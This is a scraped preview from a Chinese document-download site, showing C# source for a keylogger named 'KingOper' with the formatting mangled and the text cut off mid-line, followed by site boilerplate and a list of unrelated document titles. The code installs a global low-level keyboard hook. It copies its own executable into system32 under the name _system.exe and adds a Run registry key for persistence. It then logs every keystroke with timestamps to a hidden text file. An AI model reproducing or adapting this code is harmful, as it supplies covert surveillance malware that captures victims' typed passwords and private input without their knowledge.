




全文预览已结束
下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
HCode=C#/Hook.cs代码using System;using System.Runtime.InteropServices;using System.Reflection;using System.Windows.Forms;namespace KingOper public enum KeyboardEvents KeyDown = 0x0100, KeyUp = 0x0101, SystemKeyDown = 0x0104, SystemKeyUp = 0x0105 StructLayout(LayoutKind.Sequential) public struct KeyboardHookStruct public int vkCode; /表示一个在1到254间的虚似键盘码 public int scanCode; /表示硬件扫描码 public int flags; public int time; public int dwExtraInfo; public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key); public class Hook public event KeyboardEventHandler KeyboardEvent; public enum HookType WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_KEYBOARD = 2, WH_GETMESSAGE = 3, WH_CALLWNDPROC = 4, WH_CBT = 5, WH_SYSMSGFILTER = 6, WH_MOUSE = 7, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, WH_FOREGROUNDIDLE = 11, WH_CALLWNDPROCRET = 12, WH_KEYBOARD_LL = 13, WH_MOUSE_LL = 14, WH_MSGFILTER = -1, public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam); DllImport(User32.dll,CharSet = CharSet.Auto) public static extern bool UnhookWindowsHookEx(IntPtr hookHandle); private IntPtr instance; private IntPtr hookHandle; private int threadID; private HookProc hookProcEx; public Hook() this.instance = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0); this.threadID = 0; hookHandle = IntPtr.Zero; hookProcEx = new HookProc(hookProc); public bool SetHook() this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID); return (int)hookHandle != 0); public IntPtr hookProc(int code, int wParam, IntPtr lParam) if(code = 0) KeyboardEvents kEvent = (KeyboardEvents)wParam; if (kEvent != KeyboardEvents.KeyDown & kEvent != KeyboardEvents.KeyUp & kEvent != KeyboardEvents.SystemKeyDown & kEvent != KeyboardEvents.SystemKeyUp) return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); KeyboardHookStruct MyKey = new KeyboardHookStruct(); Type t = MyKey.GetType(); MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t); Keys keyData=(Keys)MyKey.vkCode; KeyboardEvent(kEvent, keyData); return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); public bool UnHook() return Hook.UnhookWindowsHookEx(this.hookHandle); /RegistryReport.cs代码using System;using System.IO;using Microsoft.Win32;using System.Windows.Forms;namespace KingOper public class RegistryReport public RegistryReport() public void MoveFile() if(!File.Exists(c:windowssystem32_system.exe) File.Move(Application.ExecutablePath,c:windowssystem32_system.exe); else return; public void registryRun() RegistryKey key1=Registry.CurrentUser.CreateSubKey(SoftwareMicrosoftWindowsCurrentVersionrun); key1.SetValue(,c:windowssystem32_system.exe); key1.Close(); /Report.cs代码using System;using System.IO;namespace KingOper public class Report public Report() public void FirstWrite() StreamWriter sw = new StreamWriter(c:/windows/system32/keyReport.txt,true); sw.WriteLine(* LittleStudio Studio * ); sw.WriteLine(* + DateTime.Today.Year.ToString() + . + DateTime.Today.Month.ToString() + . + DateTime.Today.Day.ToString() + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString() + *); sw.Close(); public void WriteDate(string keyEvents,string keyDate) try StreamWriter sw = new StreamWriter(c:/keyReport.txt,true); sw.WriteLine(keyDate + 键 + keyEvents + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString(); sw.Close(); catch return; test_Load调用的实现private Hook MyHook=new Hook(); private Report MyReport=new Report(); private RegistryReport MyRegistryReport;private void test_Load(object sender, System.EventArgs e) MyRegistryReport=new RegistryReport(); this.MyRegistryReport.MoveFile(); this.MyRegistryReport.registryRun(); this.MyReport.FirstWrite(); this.MyHook.SetHook(); this.MyHook.KeyboardEvent += new KeyboardEventH
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 九年级物理下册 第十八章 能源与可持续发展 二 核能教学设计 (新版)苏科版
- 《植树》(教学设计)-2024-2025学年北师大版小学数学三年级上册
- 新型传感技术及应用 课件全套 第1-5部分:基础知识 -典型传感器
- 大气环境化学实验设备市场重点基础知识点
- 立春节 庆祝与传承
- 2025年安徽省高考物理命题考点对标1【含答案】
- 2025采购合同,进口采购合同
- 2025年的合同代理广告范文
- 部编版道德与法治五年级下册第9课《中国有了共产党》精美课件送期末复习(第2课时)
- 2025合规的建筑工程合同范本
- 轻钢龙骨石膏板隔墙施工方案方案
- 公差叠加计算表
- 2021高考数学上海卷真题及解析
- 血栓弹力图在ICU应用
- 阀门驱动装置安装检验批质量验收记录表
- GB/T 26121-2010可曲挠橡胶接头
- GB/T 2423.3-2006电工电子产品环境试验第2部分:试验方法试验Cab:恒定湿热试验
- GB/T 18365-2018斜拉桥用热挤聚乙烯高强钢丝拉索
- GB 38900-2020机动车安全技术检验项目和方法
- 三星4623一体机说明书
- 2023年宁夏宁东水务有限责任公司招聘笔试模拟试题及答案解析
评论
0/150
提交评论